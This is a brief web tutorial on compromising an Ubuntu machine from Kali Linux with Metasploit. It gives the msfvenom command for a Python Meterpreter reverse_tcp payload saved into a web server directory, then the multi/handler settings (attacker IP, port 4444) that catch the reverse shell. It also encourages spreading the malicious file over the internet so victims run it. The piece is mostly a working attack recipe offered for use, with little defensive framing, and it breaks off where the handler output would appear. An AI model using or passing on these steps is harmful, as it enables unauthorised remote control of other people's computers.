HOW TO EXPLOIT UBUNTU USING KALI LINUX
How To Exploit UBUNTU Using KALI LINUX
Requirements:
1. Metasploit framework (we use Kali Linux 1.0.6 in this tutorial)
STEPS:
1. Open terminal (CTRL + ALT + T)
2. We will utilize Metasploit payload framework to create exploit for this tutorial.
msfvenom python/meterpreter/reverse_tcp LHOST=<attacker_ip_address> LPORT=<port_to_receive_connection> -o /var/www/html/payloadname.py
As described above that attacker IP address is 192.168.43.185, below is our screenshot when executed the command
3. Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker machine, attacker needs to set up the handler to handle incoming connections to the port already specified above. Type msfconsole to go to Metasploit console.
Info:
4. The next step we need to configure the switch for the Metasploit payload we already specified in step 3.use exploit/multi/handler –> we will use Metasploit handlerset payload python/meterpreter/reverse_tcp –> make sure the payload is the same with step 2
Info:
set lhost 192.168.43.185 –> attacker IP addressset lport 4444 –> port to listen the reverse connectionexploit –> start to listen incoming connection
5. Attacker already have the python file and now he will start distribute it (I don't need to describe how to distribute this file, internet is the good place for distribution ).
6. Short stories the victim (me myself) download the malicious python file and run it. After victim open the file, attacker Metasploit console get something like this: